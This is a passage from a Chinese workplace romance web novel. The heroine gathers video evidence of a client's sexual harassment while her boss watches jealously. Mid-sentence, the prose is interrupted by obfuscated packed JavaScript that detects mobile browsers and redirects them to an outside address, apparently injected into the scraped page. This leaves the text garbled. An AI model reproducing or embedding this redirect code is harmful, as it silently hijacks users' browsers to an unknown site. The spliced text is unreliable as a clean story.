徐向迩坐在工位上敲了敲脑袋,清醒一点,他可是上司,怎么会与她们站在一侧。 肯定只想着息事宁人,还不要告诉他了。 / 又过两日,策划一部负责的某活动,进行最后的活动场地核查。 徐向迩替代周慧前往,她要以自己的方式将那位李总变成职场性骚扰的犯人。 她站在现场看着那位身形肥胖,坐在椅子上的李总,与他对视一眼,她拿过桌上的咖啡,朝他走过去,“李总,您的咖啡。” 李总瞄了她一眼,徐向迩假笑看着他接过咖啡,他的手指似有似无地擦过她的手背。 呕。 徐向迩转身离开前,拽了拽身上的深灰色包臀短裙。 真是浑身都不太舒服,她还是适合牛仔裤。 站在远处的陈弋正在听工作人员的汇报,他看到徐向迩去往李总的身旁,敏感地拧起眉。 她最近都在搞什么鬼,怎么对这个项目这么感兴趣,甚至出乎意料地投入。 徐向迩与工作人员沟通过需要更改的数据后,索性坐在楼梯边缘就地更改PPT的内容,她的大腿边挨着冰凉的大理石,看着平板的同时用手拉着裙边。 陈弋在此刻出现,夹带着低沉且不满的嗓音,“穿成这样坐在高处?是想感冒了?” 她努了努嘴,往墙边挪出空位,刚想抬头时,就兜头落下一件西装外套,盖在她的身上。 有隐约的雪松气息,她拽下衣服,抱怨道:“陈总,你做什么?” “盖上。” 调试灯光设备的工作人员,把设备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587119|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移过来,放在地上开始拉电线,他们都蹲在地上调试。 陈弋用身体挡住他们的视线,居高临下地注视着她。 一眨不眨,有种寻求答案的固执。 “不用了,我去那边改吧。”徐向迩躲闪他的目光,光速起身,将衣服放到他手里,“谢谢陈总。” 将李总的事蔓延开来,她有些迁怒到其他人身上,同等地位甚至更高的上位者。 不该与他过近的。 河狸,河狸,如若没有此事,也不会被他撞见。 徐向迩走到空闲的工作桌旁继续修改内容。 陈弋站在原地,叹息消弭在更大的寂静之中,他是不是根本学不会与人亲近。 / 当天晚上,需要和主办方共进晚餐,行政同事定在离场地并不远的来福大酒店,众多的包间都半掩着门,客人们觥筹交错。 包厢的圆桌大致能坐十二人左右。 几乎都坐满了。 李总站在里面,拍了拍旁边的位置,油腻的笑容露出,“小徐坐我旁边吧。” 陈弋长腿迈进包厢门,听到的就是徐向迩故作甜腻的嗓音,“好呀,李总。” 徐向迩深吸一口气,径直走过去坐在李总的旁边。 她想拿酒时,无意间瞥到坐在自己正对面的陈弋正盯着自己,目光薄凉,她忍不住打了个冷颤。 莫名其妙。 他最近是怎么回事,视线总定格在她的身上。 李总帮她倒酒时,徐向迩仰头喝下。 放在桌面上的手机,嗡嗡作响,她打开看了一眼。 是陈弋的消息。 「马上坐到我身边来。」 她抬眸看过去,陈弋的手搭在椅背上,眼眸执着地紧盯着自己,示意她坐到旁边的空位。 徐向迩想到蒋柔的话,下意识摸了摸滚烫的脸颊,他不会是真的喜欢自己吧…… 先办正事。 她晃了晃脑袋,倒扣手机,继续和李总喝酒。 酒过三巡。 徐向迩偷摸把白酒倒在汤碗里好几回,她的意识依旧清醒,但坐在一旁的李总却已经进入醉酒状态。 因为他的手已经要伸到徐向迩的腿上。 她趁着他不注意,把手机摄像头悬在桌子边缘,进行录像。 油腻的胖手伸到她的裙边时,徐向迩眼睛一眯,突然想到许多年前徐鸣带队抓变态跟踪狂的那段日子。 她刚上初中的第一学期,江禾市突然冒出许多尾随女性的变态。 在女性下班后,坐公交车回家时,变态会坐到她的身边,偷偷摸她的大腿;抑或是在漆黑的小路上,捂住她的眼睛,摸着胸在耳边低喘。 因为多半是没有监控的小路,所以很难抓到犯人。 于是很长一段时间里徐鸣都在凌晨时分回家。 “爸,为什么她们不反抗呢?当场抓住就好了。” “因为会害怕,担心他们会报复啊。”徐鸣躺在沙发上,疲惫不堪,“他们知道那些女孩的家在哪,了解她们的下班路线,所以总是万无一失。” “我相信你会抓住他们的。” “当然。”徐鸣揉了揉她的头发,“尔尔,如果你以后遇到这种情况,一定不能委屈自己,知道了吗?” “我知道!”徐向迩猛猛点头,给他递了一杯水,“我不会走偏僻小路,并且会时刻注意安全的。” “尔尔,有时候的性骚扰,反而不是偷摸的,而是借着自己的身份地位,明目张胆的,因为你没有开口的能力。” “为什么,怎么会,我一定会暴打他们的。” “等你以后就知道了。”徐鸣起身,去洗手间,“不过,爸爸希望你永远不会遇到这种事。” 爸,如今这种事是我自找的。 如果你还在的话,你会赞同我用这么拙劣的方法吗。 徐向迩用手机给蒋柔发了条信息。 「马上就出去。」